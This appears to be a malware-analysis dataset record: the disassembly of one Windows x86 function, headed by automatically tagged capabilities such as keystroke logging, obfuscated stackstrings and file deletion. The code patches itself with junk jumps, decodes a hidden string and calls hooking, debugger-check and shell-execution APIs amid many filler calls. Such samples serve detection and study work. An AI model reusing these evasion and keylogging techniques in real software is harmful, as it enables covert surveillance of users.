Function at 0xaa3000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Delete directory
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk information
Get graphical window text
Log keystrokes
Log keystrokes via polling
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0x10], 0xaa3b39
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa3036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa31ca
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa30b8
call fcn.00481722
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa307a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa3094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa3094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa304a
mov byte [ebp - 0x6c], 5
mov byte [ebp - 0x6b], 0x6a
mov byte [ebp - 0x6a], 1
mov byte [ebp - 0x69], 0x78
mov byte [ebp - 0x68], 2
mov byte [ebp - 0x67], 0x73
mov byte [ebp - 0x66], 3
mov byte [ebp - 0x65], 0x27
mov byte [ebp - 0x64], 9
mov byte [ebp - 0x63], 0x72
mov byte [ebp - 0x62], 6
mov byte [ebp - 0x61], 0x79
mov byte [ebp - 0x60], 0x10
mov byte [ebp - 0x5f], 0x91
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x58
mov byte [ebp - 0x5c], 0xb4
mov byte [ebp - 0x5b], 0x7b
mov byte [ebp - 0x5a], 0xc3
mov byte [ebp - 0x59], 0x80
mov byte [ebp - 0x58], 0x3f
mov byte [ebp - 0x57], 0xf
mov byte [ebp - 0x56], 0xa4
mov byte [ebp - 0x55], 0x4a
mov byte [ebp - 0x54], 0xd7
mov byte [ebp - 0x53], 0x9f
mov byte [ebp - 0x52], 0x2b
mov byte [ebp - 0x51], 0x4a
mov byte [ebp - 0x50], 8
mov byte [ebp - 0x4f], 0x7d
mov byte [ebp - 0x4e], 7
mov byte [ebp - 0x4d], 0x70
mov byte [ebp - 0x4c], 0
mov byte [ebp - 0x4b], 0x83
mov byte [ebp - 0x4a], 4
mov byte [ebp - 0x49], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa315a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x24
jae 0xaa31bf
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x6c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa3186
mov dword [ebp - 0x24], 0x10
mov eax, dword [ebp - 8]
add eax, 0xe
mov dword [ebp - 8], eax
jmp 0xaa3152
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa31ae
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa319b
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa3152
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa97aca
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407cdb
mov ecx, eax
call fcn.00403040
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402fe4
and dword [ebp - 0x1c], 0
jmp 0xaa3202
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa3212
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa31fb
push 0
push 0x2594
push 0x1406
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x2192
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0x54f
push 0
push 0
push 0x1a40
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x1d00
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x2321
push 0x1c11
push 0x1d1e
push 0xe5
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 1
push 0x1113
push 0x1c08
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0x1be8
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0x1497
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x2634
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0xb7e
push 0x1646
push 0x2432
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0xce1
push 0x2706
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
push 0x203f
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0x31b
push 0x2526
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
push 0
push 0x2623
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0x1a01
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x241a
push 0x398
push 0x1d3d
push 0x6cb
push 0xeb2
push 0x2145
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0xe3f
push 0x23b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0x166c
push 0x1641
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0x1ebe
push 0
push 0x100c
push 0xa5c
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x138c
push 0x13e1
push 0x2000
push 0
push 0x7b0
push 0x537
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x17f5
push 0x2148
push 0x615
push 0x2165
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0
push 0x68a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0x48d
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0x689
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push 0x32e
push 0x21ea
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
push 0xe2b
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
push 0x1fe9
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0x163b
push 0x1a6d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x1ccd
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0xe1c
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x5ef
push 0x947
push 0xc66
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0x25e8
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0x56d
push 0
push 0
push 0x20a0
push 0x21e5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x11c9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0x1d29
push 0x1bf8
push 0
push 0x3bc
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0
push 0xcbe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x267e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
push 0
push 0x84
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 0x50b
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0
push 1
push 0x259
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0
push 0x260e
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x9d1
push 0xbfd
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 1
push 0x10a1
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0x1de5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x2313
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
push 0
push 0x20ce
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0
push 0x1761
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0x1d58
push 0x11f3
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0
push 0x44e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x1ae1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0x1cb1
push 0x1f5c
push 0x22dc
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 1
push 0x1923
push 0x1054
push 0x4ff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0x1383
push 0
push 0x12ec
push 0x106a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0x1026
push 0
push 0
push 0
push 0
push 0xd60
push 0x13fa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x836
push 0
push 0x1bd2
push 0x14a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0x1a21
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0
push 0x2008
push 0
push 0
push 0x1435
push 0x102d
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0x12b0
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0x984
push 0
push 0
push 0x244d
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0
push 0x264b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x1172
call dword [sym.imp.USER32.dll_MessageBeep]
push 0
push 0
push 0x845
push 0x24f3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x117a
push 0xb92
push 0x2238
push 0x10a3
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0x23f8
push 0x1f14
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
push 0x13b1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0x1427
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
push 0
push 0x2339
push 0x2ff
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0
push 0x15d1
push 0x11df
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0xf9c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0x1ddc
push 0x2107
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
push 0
push 0x1c31
push 0x125d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0x1050
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0x1faa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0xd7c
push 0x1a19
push 0x170b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
jmp 0xaa3b43
mov esp, ebp
pop ebp
ret